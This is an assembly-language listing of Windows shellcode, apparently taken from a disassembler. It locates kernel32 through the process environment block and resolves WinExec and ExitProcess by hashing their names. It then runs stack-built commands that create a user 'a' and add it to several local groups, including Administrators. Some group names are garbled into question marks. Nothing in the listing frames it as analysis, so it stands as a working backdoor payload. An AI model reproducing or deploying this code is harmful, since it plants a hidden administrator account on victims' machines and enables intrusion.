; Segment type:     Pure code 
;seg000          segment     byte public 'CODE' use32 
;          assume cs:seg000 
;          assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing 
.386 
assume cs:seg000 
var_29C          = byte ptr -29Ch 
var_28C          = byte ptr -28Ch 
var_25F          = byte ptr -25Fh 
var_254          = dword     ptr -254h 
var_250          = dword     ptr -250h 
var_24C          = dword     ptr -24Ch 

seg000          segment     byte public 'CODE' use32 

beginofpackeddata:               ; CODE XREF: UnXORFunc+17j 
          push     ebp 
          mov     ebp, esp 
          sub     esp, 80h 
          mov     esi, esp 
          call     sub_191 
          push eax 
          mov     eax, fs:18h 
          mov     eax, [eax+30h] 
          lea     eax, [eax+18h] 
          mov     ebx, 190000h 
          mov     [eax], ebx 
          pop eax 
          mov     [esi], eax 
          push     dword ptr [esi] 
          push     0E8AFE98h 
          call     GetFunctionBYName ;WinExec 
          mov     [esi+0Ch], eax 
          push     dword ptr [esi] 
          push      73e2d87eh           
          call     GetFunctionBYName ;ExitProcess 
          mov     [esi+10h], eax 

          xor     eax, eax 
          push     eax 
          push     'd' 
          push     'da/ ' 
          push     'a a ' 
          push     'resu' 
          push     ' ten' 
          mov     ecx, esp 
          push     eax 
          push     ecx 
          call     dword ptr [esi+0Ch] 

          xor     eax, eax 
          push     eax 
          push     'd' 
          push     'da/ ' 
          push     'a v' 
          push     '????' 
          push     '??+?' 
          push     '????' 
          push     'L pu' 
          push     'orgl' 
          push     'acol' 
          push     ' ten' 
          mov     ecx, esp 
          push     eax 
          push     ecx 
          call     dword ptr [esi+0Ch] 

          xor     eax, eax 
          push     eax 
          push     'd' 
          push     'da/ ' 
          push     'a ?' 
          push     '?<?a' 
          push     '????' 
          push     '???n' 
          push     'C pu' 
          push     'orgl' 
          push     'acol' 
          push     ' ten' 
          mov     ecx, esp 
          push     eax 
          push     ecx 
          call     dword ptr [esi+0Ch] 
                     
          xor     eax, eax 
          push     eax 
          push     'd' 
          push     'da/ ' 
          push     'a s' 
          push     'rota' 
          push     'rtsi' 
          push     'nimd' 
          push     'A pu' 
          push     'orgl' 
          push     'acol' 
          push     ' ten' 
          mov     ecx, esp 
          push     eax 
          push     ecx 
          call     dword ptr [esi+0Ch] 

          push     0h 
          call     dword ptr [esi+10h] ; 
;          end 

; ??????????????? S U B     R O U T     I N E ??????????????????????????????????????? 


GetFunctionBYName proc near          ; CODE XREF: UnXORFunc+31p 
                         ; UnXORFunc+40p ... 

arg_0          = dword     ptr 14h 
arg_4          = dword     ptr 18h 

          push     ebx 
          push     ebp 
          push     esi 
          push     edi 
          mov     ebp, [esp+arg_4] 
          mov     eax, [ebp+3Ch] 
          mov     edx, [ebp+eax+78h] 
          add     edx, ebp 
          mov     ecx, [edx+18h] 
          mov     ebx, [edx+20h] 
          add     ebx, ebp 

loc_1B2:                    ; CODE XREF: GetFunctionBYName+36j 
          jecxz     short loc_1E6 
          dec     ecx 
          mov     esi, [ebx+ecx*4] 
          add     esi, ebp 
          xor     edi, edi 
          cld 

loc_1BD:                    ; CODE XREF: GetFunctionBYName+30j 
          xor     eax, eax 
          lodsb 
          cmp     al, ah 
          jz     short loc_1CB 
          ror     edi, 0Dh 
          add     edi, eax 
          jmp     short loc_1BD 
; aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 

loc_1CB:                    ; CODE XREF: GetFunctionBYName+29j 
          cmp     edi, [esp+arg_0] 
          jnz     short loc_1B2 
          mov     ebx, [edx+24h] 
          add     ebx, ebp 
          mov     cx, [ebx+ecx*2] 
          mov     ebx, [edx+1Ch] 
          add     ebx, ebp 
          mov     eax, [ebx+ecx*4] 
          add     eax, ebp 
          jmp     short loc_1E8 
; aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 

loc_1E6:                    ; CODE XREF: GetFunctionBYName+19j 
          xor     eax, eax 

loc_1E8:                    ; CODE XREF: GetFunctionBYName+4Bj 
          mov     edx, ebp 
          pop     edi 
          pop     esi 
          pop     ebp 
          pop     ebx 
          retn     4 
GetFunctionBYName endp 

sub_191          proc near          ; CODE XREF: sub_76+Bp 
          push     ebp 
          push     esi 
          mov     eax, fs:30h 
          test     eax, eax 
          js     short loc_1A9 
          mov     eax, [eax+0Ch] 
          mov     esi, [eax+1Ch] 
          lodsd 
          mov     ebp, [eax+8] 
          jmp     short loc_1B2 
; aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 

loc_1A9:                    ; CODE XREF: sub_191+Aj 
          mov     eax, [eax+34h] 
          mov     ebp, [eax+0B8h] 

loc_1B2:                    ; CODE XREF: sub_191+16j 
          mov     eax, ebp 
          pop     esi 
          pop     ebp 
          retn     4 
sub_191 endp 
; aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 

seg000          ends 

end